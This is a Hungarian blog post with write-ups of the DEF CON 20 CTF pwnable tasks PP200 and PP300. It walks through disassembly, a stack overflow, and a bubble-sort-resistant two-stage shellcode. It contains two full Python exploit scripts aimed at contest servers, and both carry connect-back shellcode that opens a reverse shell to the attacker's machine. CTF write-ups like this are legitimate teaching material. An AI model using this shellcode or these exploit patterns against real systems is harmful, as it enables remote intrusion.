Tweets by @buherablog
profile for buherator at IT Security Stack Exchange, Q&A for IT security professionals

A BitBetyár Blog

Túljártál a nagyokosok eszén? Küldd be a mutatványodat! (e-mail a buherator gmailkomra jöhet)

Full-Disclosure / Névjegy / Coming out


Promó

H.A.C.K.

Címkék

0day (110) adobe (87) adobe reader (21) anonymous (26) apple (60) az olvasó ír (49) blackhat (20) botnet (22) bug (200) buherablog (44) buhera sörözés (39) bukta (49) deface (38) dns (22) dos (29) esemény (82) facebook (26) firefox (64) flash (33) gondolat (31) google (59) google chrome (36) hacktivity (37) hírek (117) incidens (224) internet explorer (88) iphone (35) java (50) jog (22) kína (21) kriptográfia (68) kultúra (21) linux (24) malware (43) microsoft (142) móka (48) mozilla (23) office (26) oracle (40) os x (43) patch (197) php (20) politika (31) privacy (58) programozás (22) safari (34) sql injection (62) windows (85) xss (77) Címkefelhő

Licensz

Creative Commons Licenc

Defcon XX CTF - PP200 és PP300

2012.06.06. 13:37 | buherator | Szólj hozzá!

A Pwnables kategória feladataiban a bináris analízis mellett szoftver exploitálási képességekre is szükség van: letölthető programok mindegyike tartalmaz valamilyen biztonsági hibát, melynek kihasználásával átvehető az irányítás egy távoli szerveren futó szolgáltatás felett. Az alábbiakban a PP200 és PP300 feladatok megoldása kerül ismertetésre eax közreműködésével.

PP200

A PP200-as feladat ismét egy 32 bites FreeBSD bináris volt. Az induláshoz létre kellett hozni egy pp200 nevű felhasználót home könyvtárral, de ez már rutin feladat volt, mint ahogy az első varázsszó megtalálása is:

pp200_magicstring.jpg

Miután a fent látható sztringet beküldi az ember hálózaton, a "What is you user id?" kérdéssel válaszol a program. A válasz ellenőrzésének lényegi része az alábbi:

push    ebp
mov     ebp, esp
sub     esp, 10h
lea     eax, [ebp+arg_0]
mov     [ebp+var_4], eax
mov     eax, [ebp+var_4]
movzx   eax, byte ptr [eax]
movzx   edx, al
mov     eax, [ebp+var_4]
add     eax, 1
movzx   eax, byte ptr [eax]
movzx   eax, al
xor     eax, edx
mov     edx, eax
mov     eax, [ebp+var_4]
add     eax, 2
movzx   eax, byte ptr [eax]
movzx   eax, al
xor     edx, eax
mov     eax, [ebp+var_4]
add     eax, 3
movzx   eax, byte ptr [eax]
movzx   eax, al
xor     eax, edx
cmp     eax, 0A6h
setz    al
movzx   eax, al
leave
retn

Itt lényegében a beolvasott, majd longgá alakított (strtoul()) 4 byte kisindián egésszé alakítása történik meg, amit végül a 0xa6 értékkel hasonlít össze. Ezt az értéket beküldve meg is kapjuk az "Ok, then bring it on!" üzenetet. Ezután jön az érdekes rész:

pp200_vuln.jpg

Az ebp+20C címen lévő változónak 512 byte van foglalva a stacken, a ciklus pedig byte-onként tölti fel, a bejövő értékeket először a user id-val (vagyis a 0xa6 értékkel) xor-olva. A gond az, hogy az olvasás csak a 0x0A érték beolvasásakor áll meg, itt tehát egy vanilla stack overflow-val van dolgunk. A "megállási feltétellel" kapcsolatban a decompiler persze ismét félrevezetett, így sokáig nem tudtam triggerelni a hibát, hiszen az eljárás nem tért vissza. A program elvileg csak 5 percenként fogadott el új kapcsolatot egy IP-ről, így a tesztkörnyezetben minden próbálkozásnál újraindítottam, ennek eredményeként viszont kiderült, hogy a stack minden egyes futás alkalmával ugyanott helyezkedett el a memóriában, így nem kellett keresgélni a saját beküldött adataimat.

Az EIP pontos felülcsapásához a stack struktúra ismeretében elég volt néhány próbálkozás, még a Metasploit mintagenerátorát sem kellett használni. Az egyetlen problémát az jelentette, hogy ugyan rákerült a vezérlés a shellkódra, ami rendeltetésének megfelelően vissza is csatlakozott a támadó gépre, a kapcsolat azonban azonnal le is zárult, olvasni tehát a socketből már nem tudtam. Ekkor vasárnap hajnal 2-3 óra körül járhatott az idő, engem pedig a rosszullét kerülgetett, ha a gdb-re néztem, így megkértem eax-ot, hogy nézzen rá az exploitra. Nem is kellett csalódnom, eax hamar rámutatott, hogy mivel a stack pointer éppen a shellkódba mutatott, az futásakor önmagát kezdte el módosítani, és ez vezetett rövid úton segfaulthoz. A 200 pontot érő exploit végül ez lett:

HOST = '140.197.217.155'    # The remote host
PORT = 8912               # The same port as used by the server
sc=("\x81\xec\xff\x00\x00\x00\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68\x4e\x18\xbf\x89\x66\x68\x11\x5c\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80")
sc_xor=""
for i in range(0,len(sc)):
	sc_xor=sc_xor+chr(ord(sc[i])^0xa6) #tudom, ez ronda, de mukodik ;)
print repr(sc_xor)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
#time.sleep(3)
s.send("b74b9d86e6cd3480\n")
print s.recv(1024)
s.send("0x00a6\n")
print s.recv(1024)
print s.send("\x36"*(512-len(sc_xor))+sc_xor+"\xb6\x44\x18\x19") #orig
s.close()

PP300 - by eax

A feladat itt is egy ip-port párosból, egy letölthető binárisból, és egy "PWN it!" felhívásból állt. A pp200-hoz hasonlóan itt is egy freebsd 9.0 binárissal volt dolgunk, és az előzmények ismeretében nem okozott nagy meglepetést, hogy bináris futtatáshoz szükség lesz egy pp300 userre, a /home/pp300-ban egy chroot környezetre, és a továbblépéshez egy varázsszóra - utóbbi a strings parancs kimenetéből hamar kiderült.

Ezen túllendülve a bináris újabb inputra várt, amit - legnagyobb meglepetésemre - beolvasott a stackre, majd ráugrott az eip-vel. Ez így 300 pontért túl egyszerűnek tűnt, de azért megpróbáltam egy connectback shell-t. Az aggodalom nem volt alaptalan, a shellkódot ugyanis futtatás előtt alaposan átrendezte.

IDA-val megvizsgálva a binárist a következő látszott:

pp300_1.PNG

pp300_2.PNG

Az első a beolvasás és az azt követő részek, a másik a shellkódra hívott rendezo() függvény - egy mezei bubble sort, ami nem byte-okat, hanem 4 byte-os dword-öket rendez. A rendezésálló shellkód nem olyasmi, ami bármely háztartásban megtalálható, így én is először a probléma megkerülésével próbálkoztam. Kézenfekvő megoldás lett volna, ha a shellkódot az előző lépésben, a kódszó után küldöm (az fgets ott is max 1024 byte-ot olvas), a második körben pedig csak egy rövidebb nop sled-et. Ez felülírja a kódszót, és így szabaddá teszi az utat a még mindig a pufferben figyelő shellkódig. A terv végrehajtását azonban a gondos szervezők egy stratégiai helyen elhelyezett (a puffer nem rendezett részét kinullázó) memset-el megakadályozták.

Szükség volt tehát egy rendezésálló shellkódra, amit a szívásfaktor csökkentése érdekében érdemes 2 stage-re bontani - így csak a relatív rövid stage1-nek kell sértetlenül megúsznia a rendezést, majd letölteni és lefuttatni a nagyobb stage2-t. Az adott körülmények között (már van egy élő tcp kapcsolatunk, és egy jó helyre mutató esp-nk) a stage1 egyetlen read() rendszerhívással megvalósítható.

Freebsd-n ez valahogy így néz ki:

b803000000	mov eax,3	; 3-as syscall: read
53			push ebx	; az ebx itt egészvéletlenül mindig 1024-et tartalmaz, ez pufferméretnek épp jó
54			push esp	; a stacken van hely
6a04		push 4		; a tcp kapcsolatunk fd-je
6a04		push 4		; plusz 4 tetszőleges byte a stacken
cd80		int 0x80	; a rendszerhívás

Mivel a rendezés 4 byte-onként történik, a fenti opcode-okat ki kell egészíteni 4 byte-osra úgy, hogy a sorrend jó legyen, és ne rontsuk el az utasításokat. Ehhez 2-féle nop-jellegű 1 byte-os utasítást használtam: a \x41-et (inc ecx), és a \x90-et.

A végeredmény:

b8 03 00 00
00 41 41 41
53 41 41 41
54 41 41 41
6a 04 90 41
6a 04 90 41
cd 80 90 90

Ezután már csak el kell küldeni a stage2-t, ami egy csomó nopból és egy mezei connectback shellből áll, és bezsebelni a megoldásért járó 300 pontot. A teljes exploit:

#/usr/bin/python
import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('140.197.217.155', 7548))

time.sleep(4)
s.send("3c56bc31268ac65f\n")
stage1=(
"\xb8\x03\x00\x00"
"\x00\x41\x41\x41"
"\x53\x41\x41\x41"
"\x54\x41\x41\x41"
"\x6a\x04\x90\x41"
"\x6a\x04\x90\x41"
"\xcd\x80\x90\x90")
stage2=("\x81\xec\xff\x00\x00\x00\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68\x4e\x18\xbf\x89\x66\x68\x11\x5c\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80")

s.send(stage1+"\xff"*(1024-len(stage1)))
s.send("\x90"*(1024-len(stage2))+stage2)

Címkék: defcon ctf pp200 pp300 shellkód

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Nincsenek hozzászólások.